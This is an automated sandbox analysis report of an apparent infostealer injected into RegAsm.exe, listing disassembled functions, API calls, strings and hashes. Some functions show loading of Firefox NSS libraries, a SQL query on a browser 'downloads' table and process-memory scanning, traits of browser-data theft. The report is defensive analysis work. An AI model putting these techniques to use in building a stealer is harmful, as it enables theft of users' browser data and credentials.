Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 143cc713cb0f20f121b8f137f7b4d33c2a6eaab09e2bef6013966836c5cbabf6
Instruction ID: 80a047427d7627f90c53015eacbff2a0b4b8aa8a80d810b7083e7a6e7f6429a3
Opcode Fuzzy Hash: 143cc713cb0f20f121b8f137f7b4d33c2a6eaab09e2bef6013966836c5cbabf6
Instruction Fuzzy Hash: 3E0100BAA11204ABCF00AF64DC84DAB3F3CEF42364B404024FD0987B01D671EA508AA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD99420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CD8AB89: EnterCriticalSection.KERNEL32(6CDDE370,?,?,?,6CD534DE,6CDDF6CC,?,?,?,?,?,?,?,6CD53284), ref: 6CD8AB94
Part of subcall function 6CD8AB89: LeaveCriticalSection.KERNEL32(6CDDE370,?,6CD534DE,6CDDF6CC,?,?,?,?,?,?,?,6CD53284,?,?,6CD756F6), ref: 6CD8ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CD64A68), ref: 6CD9945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD99470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD99482
__Init_thread_footer.LIBCMT ref: 6CD9949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CD99459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CD9946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CD9947D

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 7870465985ad20428d8dd7756f161db44d4d751ec2cdd5abb609a728dd177aff
Instruction ID: 24219c9fc93027ac83572b7776e2a13ad1807a11caa89283d8b2b7a2b29c75c5
Opcode Fuzzy Hash: 7870465985ad20428d8dd7756f161db44d4d751ec2cdd5abb609a728dd177aff
Instruction Fuzzy Hash: 7401B574E00101CBF7009BACD811E5933BDDB4672AF05453EDA0E86A71D631F5698B5A

Uniqueness

Uniqueness Score: -1.00%

Function 6CF44D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF44DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF44DE0

Strings

misuse, xrefs: 6CF44DD5
API call with %s database connection pointer, xrefs: 6CF44DBD
%s at line %d of [%.10s], xrefs: 6CF44DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF44DCB
invalid, xrefs: 6CF44DB8

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: e247041ef00ce92a16a99ac9e29280cb12dedebd956c7e74c79c58dd337c9694
Instruction ID: 5488a106b9291b5e00aca3bd95b52a81d8a61cebf41d56b5217653dac27d9cb2
Opcode Fuzzy Hash: e247041ef00ce92a16a99ac9e29280cb12dedebd956c7e74c79c58dd337c9694
Instruction Fuzzy Hash: C6F0E911E149646BD7004556CC11FC67FB54F01319F5A49A1FD04BBE53D21BAD5083E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF44DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF44E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF44E4D

Strings

misuse, xrefs: 6CF44E42
API call with %s database connection pointer, xrefs: 6CF44E2A
%s at line %d of [%.10s], xrefs: 6CF44E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF44E38
invalid, xrefs: 6CF44E25

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: cce10a89f0a8e9d8d4152c0ec06472c014d465c9de8fdefd36328abb2b23fd5d
Instruction ID: b1d35adf6eded85d4c7ecc5ca2172e30266e3bc6a90161ab680c89fa908a26d1
Opcode Fuzzy Hash: cce10a89f0a8e9d8d4152c0ec06472c014d465c9de8fdefd36328abb2b23fd5d
Instruction Fuzzy Hash: 55F02711E449286BE7100666DC10FC77F954B01329F1DC4A1EE0877E93D30A9D7146E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CEB1444,?,00000001,?,00000000,00000000,?,?,6CEB1444,?,?,00000000,?,?), ref: 6CEB0CB3

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?,?,6CEB1444,?), ref: 6CEB0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?,?,6CEB1444,?), ref: 6CEB0DEC

Part of subcall function 6CED0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE72AF5,?,?,?,?,?,6CE70A1B,00000000), ref: 6CED0F1A
Part of subcall function 6CED0F10: malloc.MOZGLUE(00000001), ref: 6CED0F30
Part of subcall function 6CED0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CED0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?), ref: 6CEB0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CEB1444,?,00000001,?,00000000), ref: 6CEB0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?), ref: 6CEB0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?,?,6CEB1444,?,?,00000000), ref: 6CEB0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CEB1444,?,00000001,?,00000000,00000000,?), ref: 6CEB0E79

Part of subcall function 6CEC1560: TlsGetValue.KERNEL32(00000000,?,6CE90844,?), ref: 6CEC157A
Part of subcall function 6CEC1560: EnterCriticalSection.KERNEL32(?,?,?,6CE90844,?), ref: 6CEC158F
Part of subcall function 6CEC1560: PR_Unlock.NSS3(?,?,?,?,6CE90844,?), ref: 6CEC15B2

Part of subcall function 6CE8B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CE91397,00000000,?,6CE8CF93,5B5F5EC0,00000000,?,6CE91397,?), ref: 6CE8B1CB
Part of subcall function 6CE8B1A0: free.MOZGLUE(5B5F5EC0,?,6CE8CF93,5B5F5EC0,00000000,?,6CE91397,?), ref: 6CE8B1D2

Part of subcall function 6CE889E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CE888AE,-00000008), ref: 6CE88A04
Part of subcall function 6CE889E0: EnterCriticalSection.KERNEL32(?), ref: 6CE88A15
Part of subcall function 6CE889E0: memset.VCRUNTIME140(6CE888AE,00000000,00000132), ref: 6CE88A27
Part of subcall function 6CE889E0: PR_Unlock.NSS3(?), ref: 6CE88A35

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 483fc3a83b214ce1640064cd0b5555ded1e02265877b0776da38633f441cce3c
Instruction ID: 93248238f67643b6dbf8f3c89d86afd8877ebd324aff77f214dcbd91ec987d6d
Opcode Fuzzy Hash: 483fc3a83b214ce1640064cd0b5555ded1e02265877b0776da38633f441cce3c
Instruction Fuzzy Hash: CB5197F5E012005FEB009F64DE41ABB37B89F4525CF250468EC19A7752E731FD1586A2

Uniqueness

Uniqueness Score: -1.00%

Function 00414980 Relevance: 12.1, APIs: 8, Instructions: 109stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00414985
lstrcat.KERNEL32(?,?), ref: 004149DB

Part of subcall function 0040FA35: SHGetFolderPathA.SHELL32(00000000,f;B,00000000,00000000,?), ref: 0040FA66

lstrcat.KERNEL32(?,00000000), ref: 00414A01
lstrcat.KERNEL32(?,?), ref: 00414A21
lstrcat.KERNEL32(?,?), ref: 00414A35
lstrcat.KERNEL32(?), ref: 00414A48
lstrcat.KERNEL32(?,?), ref: 00414A5C
lstrcat.KERNEL32(?), ref: 00414A6F

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040F9F1: _EH_prolog.MSVCRT ref: 0040F9F6
Part of subcall function 0040F9F1: GetFileAttributesA.KERNEL32(00000000,?,0040D3CF,?,?,?,?), ref: 0040FA0A

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 0041479E: _EH_prolog.MSVCRT ref: 004147A3
Part of subcall function 0041479E: GetProcessHeap.KERNEL32(00000000,0098967F,00000104), ref: 004147BA
Part of subcall function 0041479E: HeapAlloc.KERNEL32(00000000), ref: 004147C1
Part of subcall function 0041479E: wsprintfA.USER32 ref: 004147D9
Part of subcall function 0041479E: FindFirstFileA.KERNEL32(?,?), ref: 004147F0
Part of subcall function 0041479E: StrCmpCA.SHLWAPI(?,004246F0), ref: 0041480D
Part of subcall function 0041479E: StrCmpCA.SHLWAPI(?,004246F4), ref: 00414823
Part of subcall function 0041479E: wsprintfA.USER32 ref: 00414843
Part of subcall function 0041479E: FindNextFileA.KERNEL32(00000000,?), ref: 0041489A
Part of subcall function 0041479E: FindClose.KERNEL32(00000000), ref: 004148A9
Part of subcall function 0041479E: lstrcat.KERNEL32(?,?), ref: 004148CE
Part of subcall function 0041479E: lstrcat.KERNEL32(?), ref: 004148E1
Part of subcall function 0041479E: lstrlen.KERNEL32(?), ref: 004148EA
Part of subcall function 0041479E: lstrlen.KERNEL32(?), ref: 004148F7

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prolog$FileFind$Heaplstrlenwsprintf$AllocAttributesCloseFirstFolderNextPathProcesslstrcpy
String ID:
API String ID: 760377888-0
Opcode ID: 546dee35a969124ae4d5485f0fcc48ef39b0a6789e598d39b6f2590528f87017
Instruction ID: cb00fc39d01f1fdc4ad583c337ebff23bea7359a803e09c6b37f64c172123a6b
Opcode Fuzzy Hash: 546dee35a969124ae4d5485f0fcc48ef39b0a6789e598d39b6f2590528f87017
Instruction Fuzzy Hash: 7041EEB2C00119ABCB11EBA1DC4AEDE77BCAF58315F0005BAB505E3091EA38D7588BA5

Uniqueness

Uniqueness Score: -1.00%

Function 6CDCB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CDCB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CDCB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CDCB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CDCB5F4
__Init_thread_footer.LIBCMT ref: 6CDCB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CDCB61F
std::_Facet_Register.LIBCPMT ref: 6CDCB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDCB655

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 4d79e27fcca8bf63c83cf214256604b680c9d7ed81efac7f3271603332485943
Instruction ID: 8114e501013cb412375e9836439e313a7f2fb83973dfbf8e3d5a04ac50e57b3c
Opcode Fuzzy Hash: 4d79e27fcca8bf63c83cf214256604b680c9d7ed81efac7f3271603332485943
Instruction Fuzzy Hash: 53318171F00204DBDB00DFA9C8589AEB7BDEB8A725B150519EA06977D0DB31B906CF92

Uniqueness

Uniqueness Score: -1.00%

Function 004077CD Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 273stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004077D2

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

lstrlen.KERNEL32(00000000), ref: 00407A9E
lstrlen.KERNEL32(00000000), ref: 00407AB2

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00412DF0: _EH_prolog.MSVCRT ref: 00412DF5
Part of subcall function 00412DF0: CreateThread.KERNEL32(00000000,00000000,00411D06,?,00000000,00000000), ref: 00412E95
Part of subcall function 00412DF0: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00412E9D

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Downloads, xrefs: 00407885
SELECT target_path, tab_url from downloads, xrefs: 0040796F
Downloads, xrefs: 00407802

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrlen$lstrcat$CreateObjectSingleThreadWait
String ID: Downloads$Downloads$SELECT target_path, tab_url from downloads
API String ID: 3193997572-2241552939
Opcode ID: 9a80948e3a083427e705e8ff5e20d3e8fab6cf8021445096b4055b42aeb70e6b
Instruction ID: 679cfa94dd3ddb6a15e2038a5885ef5fd7aad6dc06fa728facee134f82437376
Opcode Fuzzy Hash: 9a80948e3a083427e705e8ff5e20d3e8fab6cf8021445096b4055b42aeb70e6b
Instruction Fuzzy Hash: F2B18531804148EADB09EBE6D955BDDBBB46F28308F50486EF406732C2EF795B18D729

Uniqueness

Uniqueness Score: -1.00%

Function 6CE62D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CE62D69

Strings

winUnmapfile2, xrefs: 6CE62F7F
winSeekFile, xrefs: 6CE62E9C
winUnmapfile1, xrefs: 6CE62F55
winTruncate1, xrefs: 6CE62EBE
winTruncate2, xrefs: 6CE62EF8

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 62bf1fc8daf8c53b2d5e95b9db0ef235135a2a24c3ac187592af26017a736e36
Instruction ID: eb0ecbc57e05e1f76b36f1dfae17fac330da52a373995333a14bd53afe50673a
Opcode Fuzzy Hash: 62bf1fc8daf8c53b2d5e95b9db0ef235135a2a24c3ac187592af26017a736e36
Instruction Fuzzy Hash: 5B61B171B502059FDB44CF65DC88BAA7BB1FF49314F208538E915ABB80DB31AD06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB6F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0040DB83
??_U@YAPAXI@Z.MSVCRT ref: 0040DBA4

Part of subcall function 0040D9BD: strlen.MSVCRT ref: 0040D9C9
Part of subcall function 0040D9BD: strlen.MSVCRT ref: 0040D9DF
Part of subcall function 0040D9BD: strlen.MSVCRT ref: 0040DA78

VirtualQueryEx.KERNEL32(?,00000000,?,0000001C,?,?,?,?,?,?,00000000,?,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000,000000FF), ref: 0040DBD1
VirtualQueryEx.KERNEL32(?,00000000,?,0000001C), ref: 0040DC9B
??_V@YAXPAX@Z.MSVCRT ref: 0040DCAC

Strings

@, xrefs: 0040DBEA

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strlen$QueryVirtual
String ID: @
API String ID: 3099930812-2766056989
Opcode ID: fcd7e76083138d179ca8fee133a4fd188b64444e8573414077d5f140b3d581c1
Instruction ID: fa09e3593b996a82072b2827b2cda4bdc618de41283c54a62cd39e16eb4e46b8
Opcode Fuzzy Hash: fcd7e76083138d179ca8fee133a4fd188b64444e8573414077d5f140b3d581c1
Instruction Fuzzy Hash: 14419071E04109AFEF14DF95CD46AEE7BB6EF44314F14802AF801B2190D7799E54DB98

Uniqueness

Uniqueness Score: -1.00%

Function 6CEBAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CEBAB3E,?,?,?), ref: 6CEBAC35

Part of subcall function 6CE9CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE9CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CEBAB3E,?,?,?), ref: 6CEBAC55

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CEBAB3E,?,?), ref: 6CEBAC70

Part of subcall function 6CE9E300: TlsGetValue.KERNEL32 ref: 6CE9E33C
Part of subcall function 6CE9E300: EnterCriticalSection.KERNEL32(?), ref: 6CE9E350
Part of subcall function 6CE9E300: PR_Unlock.NSS3(?), ref: 6CE9E5BC
Part of subcall function 6CE9E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CE9E5CA
Part of subcall function 6CE9E300: TlsGetValue.KERNEL32 ref: 6CE9E5F2
Part of subcall function 6CE9E300: EnterCriticalSection.KERNEL32(?), ref: 6CE9E606
Part of subcall function 6CE9E300: PORT_Alloc_Util.NSS3(?), ref: 6CE9E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CEBAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEBAB3E), ref: 6CEBACD7
PORT_Alloc_Util.NSS3(?), ref: 6CEBAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CEBAD2B

Part of subcall function 6CE9F360: TlsGetValue.KERNEL32(00000000,?,6CEBA904,?), ref: 6CE9F38B
Part of subcall function 6CE9F360: EnterCriticalSection.KERNEL32(?,?,?,6CEBA904,?), ref: 6CE9F3A0
Part of subcall function 6CE9F360: PR_Unlock.NSS3(?,?,?,?,6CEBA904,?), ref: 6CE9F3D3

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

